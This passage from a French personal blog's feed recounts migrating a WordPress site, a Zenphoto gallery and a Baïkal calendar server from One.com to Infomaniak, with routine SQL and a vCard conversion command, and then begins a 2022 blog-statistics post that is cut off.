connaissais déjà par leur offre KDrive (15 Gb gratuits que j&amp;rsquo;avais envisagé d&amp;rsquo;utiliser à un moment), et ils ont une bonne réputation sur le Web. Enfin ils incluent dans l&amp;rsquo;offre plus de 100 CMS, dont &lt;strong&gt;Wordpress&lt;/strong&gt; bien sûr, mais aussi &lt;strong&gt;Zenphoto&lt;/strong&gt; (ma galerie photo, ce qui était une belle surprise) et cerise sur le gâteau &lt;strong&gt;Nextcloud&lt;/strong&gt;, que j&amp;rsquo;utilise déjà en auto-hébergement, et dont les possibilités sont très larges.&lt;/p&gt;&#xA;&lt;p&gt;Reprenons tout ça et voyons comment la migration s&amp;rsquo;est passée. En résumé, ça a été vraiment facile, plus que je ne le pensais, et en quelques jours tout a été réglé (malgré une mauvaise approche avec Baïkal, mon serveur CalDav/CardDav).&lt;/p&gt;&#xA;&lt;h2 id=&#34;les-hébergeurs&#34;&gt;Les hébergeurs&#xA;&lt;/h2&gt;&lt;h3 id=&#34;onecom&#34;&gt;One.com&#xA;&lt;/h3&gt;&lt;p&gt;Mon blog était donc hébergé chez One.com depuis fin 2014. C&amp;rsquo;est un hébergement web partagé, cela suffit à mes besoins, avoir une machine dédiée (vHost) coûte beaucoup plus cher. C&amp;rsquo;est assez minimaliste, pas de service fourni (à part une sauvegarde journalière, mais ça tout le monde le propose). Leur interface (Panneau de configuration) est également très minimaliste.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;en étais assez satisfait en terme de fonctionnement, de toutes façons je suis assez autonome et mes besoins sont basiques, mais les rares fois où j&amp;rsquo;ai contacté le support, il ne fallait pas attendre grand chose d&amp;rsquo;eux : tout est automatisé, et rien n&amp;rsquo;est permis en dehors de ce qui est accessible par l&amp;rsquo;interface.&lt;/p&gt;&#xA;&lt;p&gt;Commercialement, ils pouvaient néanmoins modifier votre offre de manière unilatérale et changer le prix par la même occasion sans que vous ayez votre mot à dire, tout en vous ajoutant par exemple une galerie photo qui ne présentait aucun intérêt (basique, propriétaire, aucune possibilité d&amp;rsquo;export ou d&amp;rsquo;import, etc&amp;hellip;), ou en augmentant votre espace disque de 25 Go à 50 Go (alors que je n&amp;rsquo;en utilise que 5 Go).&lt;/p&gt;&#xA;&lt;p&gt;Et donc au moment de la facture annuelle, celle-ci augmentait régulièrement tous les ans d&amp;rsquo;environ 20%, nouvelle offre ou pas. J&amp;rsquo;étais ainsi passé d&amp;rsquo;une cinquantaine d&amp;rsquo;euros par an en 2020 à plus de cent euros l&amp;rsquo;année dernière. Cette année, je m&amp;rsquo;attendais donc à une facture de 120 €.&lt;/p&gt;&#xA;&lt;p&gt;Côté technique, il me manquait tout de même un accès en SSH qui peut se révéler bien pratique (je n&amp;rsquo;avais que SFTP pour copier des fichiers). J&amp;rsquo;avais également eu besoin une fois d&amp;rsquo;un service de type &lt;code&gt;cron&lt;/code&gt; pour rafraîchir un serveur de flux RSS que je testais, mais c&amp;rsquo;était impossible.&lt;/p&gt;&#xA;&lt;h3 id=&#34;infomaniak&#34;&gt;Infomaniak&#xA;&lt;/h3&gt;&lt;p&gt;L&amp;rsquo;offre d&amp;rsquo;Infomaniak est vraiment complète : en plus de ce que j&amp;rsquo;avais chez One, je passe à 250 Go d&amp;rsquo;espace, avec accès SSH et service WebCron. Et plus de 100 CMS et services Web que l&amp;rsquo;on peut installer en un clic (&lt;a class=&#34;link&#34; href=&#34;https://www.infomaniak.com/fr/creer-un-site/cms&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;liste&lt;/a&gt;). Avoir les mises à jour de Zenphoto gérées automatiquement sera bien agréable, et disposer d&amp;rsquo;un Nextcloud dans l&amp;rsquo;offre est un énorme plus quand on compare les offres (et celle des concurrents d&amp;rsquo;ailleurs).&lt;/p&gt;&#xA;&lt;p&gt;Tout ça pour environ 90€ TTC par an. Comparaison avec les tarifs de One cette année :&lt;/p&gt;&#xA;&lt;p&gt;Nom de domaineHébergementTotalInfomaniak 20248,40 €82,80 €91,20 €One 202315,59 €86,26 €101,85 €&lt;/p&gt;&#xA;&lt;p&gt;Je vais donc payer un peu moins cher pour une offre largement meilleure ! :cool:&lt;/p&gt;&#xA;&lt;h2 id=&#34;la-migration&#34;&gt;La migration&#xA;&lt;/h2&gt;&lt;p&gt;Reste à effectuer la migration : pour cela, Infomaniak offre un mois gratuit et c&amp;rsquo;est extrêmement pratique. Je vais pouvoir créer mon site Wordpress, y transférer les données et vérifier que tout fonctionne avant de lancer la migration du nom de domaine qui fera tout pointer sur le nouvel hébergeur (pour cela, Infomaniak propose une URL temporaire). Idem pour Zenphoto, et dans la foulée, je testerai aussi mon serveur Baikal (CalDav/CardDav) qui me permet de synchroniser mes agendas.&lt;/p&gt;&#xA;&lt;h3 id=&#34;premiers-pas&#34;&gt;Premiers pas&#xA;&lt;/h3&gt;&lt;p&gt;En cliquant sur &amp;ldquo;Démarrer 30 jours gratuits&amp;rdquo;, la première chose demandée est un nom de domaine. On l&amp;rsquo;indique (donc &lt;code&gt;pled.fr&lt;/code&gt;), et comme on ne souhaite pas le transfert immédiatement, on clique sur le petit menu à droite du bouton &amp;ldquo;Transférer&amp;rdquo;, et l&amp;rsquo;on choisit &amp;ldquo;Commander un hébergement web uniquement&amp;rdquo; :&lt;/p&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://3k3ninbkmrl.preview.infomaniak.website/wp-content/uploads/2024/08/transferer.png&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;On va pouvoir ainsi installer une instance Wordpress puis la faire pointer sur une adresse temporaire jusqu&amp;rsquo;à ce que l&amp;rsquo;on soit prêt à transférer le nom de domaine.&lt;/p&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://3k3ninbkmrl.preview.infomaniak.website/wp-content/uploads/2024/08/infomaniak2-1.png&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;C&amp;rsquo;est super bien fait, même s&amp;rsquo;il faut un peu de temps pour s&amp;rsquo;habituer à l&amp;rsquo;interface et s&amp;rsquo;y retrouver (à ce stade, on peut effacer le CMS installé et recommencer en cas d&amp;rsquo;erreur), on a vite un site Wordpress fonctionnel prêt à recevoir le backup du site courant.&lt;/p&gt;&#xA;&lt;h3 id=&#34;wordpress&#34;&gt;Wordpress&#xA;&lt;/h3&gt;&lt;p&gt;Pour transférer le contenu de mon site Wordpress, j&amp;rsquo;ai d&amp;rsquo;abord voulu utiliser le plugin &lt;a class=&#34;link&#34; href=&#34;https://updraftplus.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Updraft&lt;/strong&gt; Plus&lt;/a&gt;, un des rares plugins de ce type gratuit et complet (comme &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/plugins/all-in-one-wp-migration/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;All-in-One&lt;/a&gt; qui est paraît-il très performant, mais si le backup est gratuit, il faut payer pour la restauration !). Mais hélas, UpdraftPlus n&amp;rsquo;a pas fonctionné : j&amp;rsquo;ai eu des erreurs SQL lors de l&amp;rsquo;import de la BDD, et côté fichiers il m&amp;rsquo;a effacé des plugins préinstallés par Infomaniak&amp;hellip; Résultat : site corrompu, j&amp;rsquo;étais bon pour l&amp;rsquo;effacer et tout reprendre de zéro.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai donc tout fait &amp;ldquo;à l&amp;rsquo;ancienne&amp;rdquo;. En fait, j&amp;rsquo;ai globalement suivi ce très bon document : &lt;a class=&#34;link&#34; href=&#34;https://knowledge.parcours-performance.com/transfert-site-wordpress-vers-infomaniak/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://knowledge.parcours-performance.com/transfert-site-wordpress-vers-infomaniak/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Après l&amp;rsquo;installation par Infomaniak du nouveau Wordpress, j&amp;rsquo;ai créé une nouvelle base (une autre occasion d&amp;rsquo;appréhender leur interface), puis importé un simple export via PHPMyAdmin du site chez One. Il a juste fallu éditer le fichier &lt;code&gt;.sql&lt;/code&gt; avant l&amp;rsquo;import pour modifier le nom de la nouvelle base : en effet, Infomaniak ajoute un préfixe à la base de donnée créée, qu&amp;rsquo;il faut ajouter sur les deux lignes concernées en début de fichier, à savoir :&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;CREATE DATABASE IF NOT EXISTS xxxxxx_dbname USE xxx&lt;/code&gt; xxx_dbname&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;import s&amp;rsquo;est alors déroulé sans erreur, il ne reste plus qu&amp;rsquo;à s&amp;rsquo;occuper des fichiers, et donc du dossier &lt;code&gt;wp-content&lt;/code&gt; à recopier en totalité (j&amp;rsquo;ai fait ça avec FileZilla en les copiant d&amp;rsquo;abord sur mon PC puis en les transférant chez Infomaniak. J&amp;rsquo;ai procédé sous-dossier par sous-dossier, en laissant l&amp;rsquo;existant et en ajoutant mes thèmes, mes plugins, et bien sûr tout le dossier uploads.&lt;/p&gt;&#xA;&lt;p&gt;À partir de là, il ne reste plus qu&amp;rsquo;à éditer le fichier situé à la racine &lt;code&gt;wp-config.php&lt;/code&gt; pour y indiquer les bonnes infos pour DB_NAME, DB_USER, DB_PASSWORD, $table_prefix.&lt;/p&gt;&#xA;&lt;p&gt;Et voilà, on peut afficher le site Wordpress (avec l&amp;rsquo;adresse temporaire que fournit Infomaniak) qui est désormais la réplique exacte du site original. :cool:&lt;/p&gt;&#xA;&lt;h3 id=&#34;problèmes-rencontrés&#34;&gt;Problèmes rencontrés&#xA;&lt;/h3&gt;&lt;p&gt;À première vue, pratiquement aucun problème, mais quelques plugins ne fonctionnaient plus (tous obsolètes, c&amp;rsquo;est d&amp;rsquo;ailleurs surprenant qu&amp;rsquo;ils fonctionnaient encore sur l&amp;rsquo;ancien site, peut-être qu&amp;rsquo;au fil des mises à jours, le fonctionnement reste assuré d&amp;rsquo;une façon ou d&amp;rsquo;une autre ?) :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;le plugin &amp;ldquo;Subscribe to Comments&amp;rdquo; générait des erreurs PHP. En fait ce plugin était très ancien (2015) et n&amp;rsquo;était plus maintenu, je me demande même comment il fonctionnait encore sur l&amp;rsquo;ancien site. Il est en fait remplacé par &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/plugins/subscribe-to-comments-reloaded/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Subscribe to Comments Reloaded&lt;/a&gt; que j&amp;rsquo;ai installé à sa place et qui fonctionne très bien en offrant plus d&amp;rsquo;options.&lt;/li&gt;&#xA;&lt;li&gt;le plugin &amp;ldquo;Thumbnails for excerpt&amp;rdquo; ne fonctionnait plus, pour les mêmes raisons. Et le plugin &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/plugins/advanced-excerpt/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Advanced Excerpt&lt;/a&gt; le remplace avantageusement.&lt;/li&gt;&#xA;&lt;li&gt;le plugin &amp;ldquo;Wordpress Video plugin&amp;rdquo; générait des erreurs PHP. Cette fois, j&amp;rsquo;ai du repasser sur tous mes articles dans la catégorie &amp;ldquo;Vidéos&amp;rdquo; pour remplacer l&amp;rsquo;utilisation du plugin par un bloc &amp;ldquo;youtube&amp;rdquo; désormais intégré à Wordpress (ce qui n&amp;rsquo;était pas le cas il y a quelques années). Heureusement, ça a été assez rapide : 25 articles concernés.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h4 id=&#34;lien-erroné-pour-lalbum-photo&#34;&gt;Lien erroné pour l&amp;rsquo;album photo&#xA;&lt;/h4&gt;&lt;p&gt;Par la suite, en parcourant les pages, j&amp;rsquo;ai vu que les liens d&amp;rsquo;articles pointant sur l&amp;rsquo;album photo ne fonctionnaient plus : en effet, avec Infomaniak, j&amp;rsquo;ai créé un sous-domaine pour Zenphoto (voir plus bas) puisque j&amp;rsquo;utilisais leur installeur. C&amp;rsquo;est aussi bien comme ça, mais ce n&amp;rsquo;était pas le cas chez One, &lt;code&gt;zenphoto&lt;/code&gt; n&amp;rsquo;était qu&amp;rsquo;un sous-dossier sur mon hébergeur précédent.&lt;/p&gt;&#xA;&lt;p&gt;Il m&amp;rsquo;a donc fallu remplacer dans tous les articles la chaîne de caractère &lt;code&gt;pled.fr/zenphoto&lt;/code&gt; par &lt;code&gt;zenphoto.pled.fr&lt;/code&gt;. Ce qui donne en SQL :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;UPDATE&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;_posts&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SET&lt;/span&gt; post_content &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;REPLACE&lt;/span&gt;(post_content, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;pled.fr/zenphoto&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;zenphoto.pled.fr&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;gramps---baïkal&#34;&gt;Gramps - Baïkal&#xA;&lt;/h3&gt;&lt;p&gt;Pour Gramps, il s&amp;rsquo;agit d&amp;rsquo;un site généré par l&amp;rsquo;application, en pur HTML, et donc juste un dossier à recopier à la racine du même site, ce qui correspond à ce que j&amp;rsquo;avais chez One.&lt;/p&gt;&#xA;&lt;p&gt;Pour Baïkal, c&amp;rsquo;est à peine différent, une fois le dossier de la dernière version copié sur le site, il faut juste lancer le setup qui dure deux secondes, puis recréer à la main les calendriers et le carnet d&amp;rsquo;adresse avec les mêmes noms que précédemment. En plaçant le dossier au même endroit, et en appliquant le même mot de passe, c&amp;rsquo;est ensuite totalement transparent, tout se synchronisera (avec le même mot de passe bien sûr) sans avoir rien d&amp;rsquo;autre à faire. Du moins c&amp;rsquo;est ce que je croyais&amp;hellip;&lt;/p&gt;&#xA;&lt;h4 id=&#34;problèmes-rencontrés-1&#34;&gt;Problèmes rencontrés&#xA;&lt;/h4&gt;&lt;p&gt;Parce que quelques jours plus tard, je me suis rendu compte que je n&amp;rsquo;avais plus de données côté PC : contacts et agendas étaient vides ! :oops: Je pouvais créer de nouveaux évènements ou de nouveaux contacts et les synchroniser avec le smartphone, mais tout l&amp;rsquo;existant n&amp;rsquo;apparaissait plus sur le PC (dans Evolution). De son côté, Baïkal affichait 0 Contacts, ou 0 Events&amp;hellip; J&amp;rsquo;avais beau synchroniser le smartphone, rien à faire.&lt;/p&gt;&#xA;&lt;p&gt;En fait j&amp;rsquo;aurais du suivre les instructions comme pour une &lt;a class=&#34;link&#34; href=&#34;https://sabre.io/baikal/upgrade/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;upgrade&lt;/a&gt;, et au moins sauvegarder/restaurer la base de données ! Là, j&amp;rsquo;ai vraiment mal abordé la migration, j&amp;rsquo;étais persuadé qu&amp;rsquo;en synchronisant côté smartphone, la BdD allait être repeuplée. Mais non, cela ne fonctionne pas pour les évènements censés être déjà à jour (si j&amp;rsquo;ai bien compris).&lt;/p&gt;&#xA;&lt;p&gt;Heureusement que côté smartphone, tous était resté intact. J&amp;rsquo;ai donc fini par exporter mes calendriers un par un au format &lt;code&gt;.ics&lt;/code&gt;, puis les importer dans Evolution pour retrouver la situation d&amp;rsquo;avant la migration. Mais j&amp;rsquo;ai perdu mes &amp;ldquo;tâches&amp;rdquo;, parce que l&amp;rsquo;export du calendrier ne propose de sauvegarder que les évènements ! :sad:&lt;/p&gt;&#xA;&lt;p&gt;Pour les contacts, ça a été un peu plus compliqué : j&amp;rsquo;avais bien exporté mes contacts au format &lt;code&gt;.vcf&lt;/code&gt; à partir du tel, mais Evolution était incapable de l&amp;rsquo;importer (plus de réponse de l&amp;rsquo;application au moment où j&amp;rsquo;indiquais le fichier à importer, obligé de la tuer). Puis j&amp;rsquo;ai vu que le fichier VCARD était en version 2.1 alors que la version 4 existe. J&amp;rsquo;ai cherché de ce côté, et trouvé un convertisseur en v3 écrit en python &lt;a class=&#34;link&#34; href=&#34;https://github.com/jowave/vcard2to3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ici&lt;/a&gt;. J&amp;rsquo;ai donc suivi les instructions :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cd&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ git clone https://github.com/jowave/vcard2to3.git&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ cd vcard2to3/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ ./vcard2to3.py ~/contacts.vcf&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;J&amp;rsquo;ai ainsi récupéré un fichier &lt;code&gt;contacts.vcf.converted&lt;/code&gt; (en v3) et cette fois l&amp;rsquo;import dans Evolution est passé sans problème. Ouf !&lt;/p&gt;&#xA;&lt;h3 id=&#34;zenphoto&#34;&gt;Zenphoto&#xA;&lt;/h3&gt;&lt;p&gt;Là, il faut un se familiariser avec le fonctionnement d&amp;rsquo;Infomaniak. Je n&amp;rsquo;ai qu&amp;rsquo;un nom de domaine, il va donc falloir utiliser un sous-domaine car l&amp;rsquo;installateur automatique d&amp;rsquo;Infomaniak va automatiquement vous créer un nouveau site pour chaque application installée.&lt;/p&gt;&#xA;&lt;p&gt;Je vais donc dans &amp;ldquo;Gestion des Sites&amp;rdquo;, et je choisis &amp;ldquo;Ajouter un site&amp;rdquo;. Sur la page qui s&amp;rsquo;affiche, je choisis alors &amp;ldquo;l&amp;rsquo;option &amp;ldquo;Continuez sans installer d&amp;rsquo;outil&amp;rdquo; :&lt;/p&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://3k3ninbkmrl.preview.infomaniak.website/wp-content/uploads/2024/08/Capture-decran-du-2024-08-25-15-48-39.png&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;Et dans le fenêtre suivante, je choisis &amp;ldquo;Utiliser un sous-domaine&amp;rdquo;, et renseigne le nom du sous-domaine souhaité, ainsi que le nom de mon domaine :&lt;/p&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://3k3ninbkmrl.preview.infomaniak.website/wp-content/uploads/2024/08/Capture-decran-du-2024-08-25-15-50-31.png&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;Une fois ce site créé dans un sous-domaine, je peux alors utiliser leur outil d&amp;rsquo;installation et choisir Zenphoto pour ce site.&lt;/p&gt;&#xA;&lt;p&gt;À terme, vous retrouvez cette arborescence sur le site FTP (ici après avoir aussi installé Nextcloud, voir plus bas) :&lt;/p&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://3k3ninbkmrl.preview.infomaniak.website/wp-content/uploads/2024/08/Capture-decran-du-2024-08-25-16-06-31.png&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;Concernant la migration du site Zenphoto, j&amp;rsquo;ai suivi la &lt;a class=&#34;link&#34; href=&#34;https://www.zenphoto.org/news/moving-and-changing-existing-installations/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;procédure indiquée dans la documentation&lt;/a&gt; : Infomaniak m&amp;rsquo;ayant installé la dernière version 1.6.4, j&amp;rsquo;ai du commencer par mettre la mienne à niveau :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mise à jour de ma version chez One de 1.6.0 à 1.6.4 pour faire la migration à partir de 2 versions identiques.&lt;/li&gt;&#xA;&lt;li&gt;Copie du fichier &lt;code&gt;index.php &lt;/code&gt; à la racine et du dossier &lt;code&gt;zp-core&lt;/code&gt; sur le nouveau serveur.&lt;/li&gt;&#xA;&lt;li&gt;Copiez tous les thèmes ou plugins personnalisés de l&amp;rsquo;ancienne installation vers la nouvelle.&lt;/li&gt;&#xA;&lt;li&gt;Exportez la base de données de l&amp;rsquo;ancienne installation en utilisant l&amp;rsquo;outil de sauvegarde de la base de données sur la page d&amp;rsquo;aperçu de l&amp;rsquo;administrateur.&lt;/li&gt;&#xA;&lt;li&gt;Copiez les dossiers suivants de l&amp;rsquo;ancienne installation vers la nouvelle :&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;backup&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;albums&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;cache&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;uploaded&lt;/code&gt; (facultatif si vous l&amp;rsquo;avez utilisé)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Lancez maintenant le setup ( &lt;code&gt;/zp-core/setup.php&lt;/code&gt;). Il fournira l&amp;rsquo;option d&amp;rsquo;importer la sauvegarde de la base de données.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Tout a parfaitement fonctionné, même si la copie est très longue entre le dossier albums et le dossier cache, selon le nombre d&amp;rsquo;albums, cela peut prendre du temps.&lt;/p&gt;&#xA;&lt;h4 id=&#34;problèmes-rencontrés-2&#34;&gt;Problèmes rencontrés&#xA;&lt;/h4&gt;&lt;p&gt;J&amp;rsquo;avais un album qui s&amp;rsquo;affichait mal à cause d&amp;rsquo;un caractère accentué (É) dans le nom du dossier. C&amp;rsquo;est de ma faute, car si l&amp;rsquo;on crée les albums via l&amp;rsquo;interface de Zenphoto, ce dernier remplace tous les caractères de ce type par des tirets (-) afin d&amp;rsquo;éviter ce genre de problème assez fréquents avec ce type de caractères (j&amp;rsquo;avais créé ce dossier à la main via SFTP).&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai recréé cet album manuellement, c&amp;rsquo;est assez rapide. Ce qui m&amp;rsquo;a donné l&amp;rsquo;occasion de tomber sur un bug avec les données EXIF qui ne sont plus ajoutées dans la BDD, ce qui fait que la belle géolocalisation que j&amp;rsquo;avais mis en place n&amp;rsquo;est plus affichée. Mais &lt;a class=&#34;link&#34; href=&#34;https://forum.zenphoto.org/discussion/1411232/exif-in-v-1-6-4#latest&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;le bug&lt;/a&gt; est déjà identifié et corrigé, et sera disponible dans la version 1.6.5. J&amp;rsquo;attends donc cette prochaine version, il n&amp;rsquo;y a rien de critique ni d&amp;rsquo;urgent !&lt;/p&gt;&#xA;&lt;h3 id=&#34;nom-de-domaine&#34;&gt;Nom de domaine&#xA;&lt;/h3&gt;&lt;p&gt;À ce stade, il en reste plus qu&amp;rsquo;à migrer le nom de domaine.&lt;/p&gt;&#xA;&lt;p&gt;Je commence par aller chez One.com récupérer l&amp;rsquo;Auth-ID : aller dans le Panneau de Configuration, puis Mes produits, à droite &amp;ldquo;Gérer&amp;rdquo; puis &amp;ldquo;Obtenir l&amp;rsquo;Auth-ID&amp;rdquo;. On récupère le code nécessaire. C&amp;rsquo;est bien sûr différent pour chaque hébergeur.&lt;/p&gt;&#xA;&lt;p&gt;Ensuite, côté Infomaniak, cela a été une pure formalité, j&amp;rsquo;ai juste demandé la migration du domaine &lt;code&gt;pled.fr&lt;/code&gt; que j&amp;rsquo;avais indiqué dès le départ quand j&amp;rsquo;avais démarré mon essai gratuit. Il faut fournir le Auth-ID afin de prouver que je suis bien le propriétaire du nom de domaine, puis on paie le transfert (8,40 €), et environ une heure après tout est terminé. On peut éventuellement suivre le transfert sur le site &lt;a class=&#34;link&#34; href=&#34;https://www.whatsmydns.net&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;whatismydns.net&lt;/a&gt; :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;412px&#34; data-flex-grow=&#34;171&#34; height=&#34;363&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/migration-de-mon-site-vers-infomaniak/Capture-decran-du-2024-08-29-17-57-48.png&#34; width=&#34;624&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusion&#34;&gt;Conclusion&#xA;&lt;/h2&gt;&lt;p&gt;Et voilà, une migration vraiment facile et sans heurts, mis à part les soucis avec le serveur Baïkal : ce qui me paraissait le plus simple au départ s&amp;rsquo;est révélé ce que j&amp;rsquo;ai le plus mal géré ! Je m&amp;rsquo;attendais à quelque chose de beaucoup plus compliqué, de problèmes de transfert Wordpress, et encore plus de galères avec Zenphoto, mais non, tout a été plutôt facile de ce côté là.&lt;/p&gt;&#xA;&lt;p&gt;Cet article est donc le premier à avoir été écrit sur ce nouvel hébergeur ! :cool:&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Statistiques du blog - année 2022</title>
            <link>https://pled.fr/statistiques-du-blog-annee-2022/</link>
            <pubDate>Sun, 01 Jan 2023 17:02:52 +0000</pubDate>
            <guid>https://pled.fr/statistiques-du-blog-annee-2022/</guid>
            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;newyear.jpg#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Comme chaque année, voilà les statistiques du blog pour l&amp;rsquo;année 2022. Comme j&amp;rsquo;aime à le rappeler, c&amp;rsquo;est sans doute l&amp;rsquo;article le plus inutile de l&amp;rsquo;année, il est donc important de commencer celle-ci par celui-là. :wink:&lt;/p&gt;&#xA;&lt;p&gt;Et j&amp;rsquo;en profite pour souhaiter au potentiel lecteur ou lectrice qui passerait sur cette page une très bonne année 2023, une bonne santé avant tout, et plein de bonnes choses, malgré cette époque troublée, l&amp;rsquo;année écoulée nous l&amp;rsquo;a confirmé.&lt;/p&gt;&#xA;&lt;p&gt;En résumé, les visites sont plutôt en baisse, tout comme le nombre d&amp;rsquo;articles ou les commentaires ! :cry: La bonne surprise, c&amp;rsquo;est que les deux articles sur ma fracture du coude qui trustaient les deux premières places depuis des années ont enfin été détrônés, et remplacés par deux articles sur Openmediavault qui sont venus troubler cette hégémonie.&lt;/p&gt;&#xA;&lt;p&gt;Cette baisse peut s&amp;rsquo;expliquer par un moins grand nombre d&amp;rsquo;articles publiés, en particulier sur des sujets techniques :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Le NAS Openmediavault, que l&amp;rsquo;on retrouve en très bonne place dans le top 20 plus bas (preuve que le sujet est porteur) fonctionne très bien, sans nouvel usage, et j&amp;rsquo;ai donc eu peu d&amp;rsquo;articles à faire sur le sujet. :cool:&lt;/li&gt;&#xA;&lt;li&gt;Idem pour le smartphone, cette année 2022 a été plutôt stable. Cela risque de changer en 2023 qui devrait voir arriver des articles sur GrapheneOS, puisque j&amp;rsquo;attends avec impatience un nouvel appareil, j&amp;rsquo;ai nommé le Google Pixel 6a !&lt;/li&gt;&#xA;&lt;li&gt;Enfin côté PC, je suis passé à Debian il y a presque un an maintenant, et tout est parfaitement stable et fonctionnel (quitter Ubuntu pour Debian a vraiment été un très bon choix). Et si j&amp;rsquo;ai aussi changé de machine, tout cela ne fait que deux articles pour 2022 !&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Et pour terminer, chose peu fréquente, un livre a réussi à se glisser dans le Top 20 des articles, et pas le moindre : &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=5865&#34; &gt;Ringolevio&lt;/a&gt; ! Une bonne raison pour le lire&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Mais revenons à l&amp;rsquo;essentiel, les chiffres, rien que les chiffres !&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-stats&#34;&gt;Les stats&#xA;&lt;/h3&gt;&lt;p&gt;On commence comme toujours par le nombre de visites mensuelles. Malgré un bon mois de janvier, les mois suivants sont largement à la baisse :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;325px&#34; data-flex-grow=&#34;135&#34; height=&#34;425&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 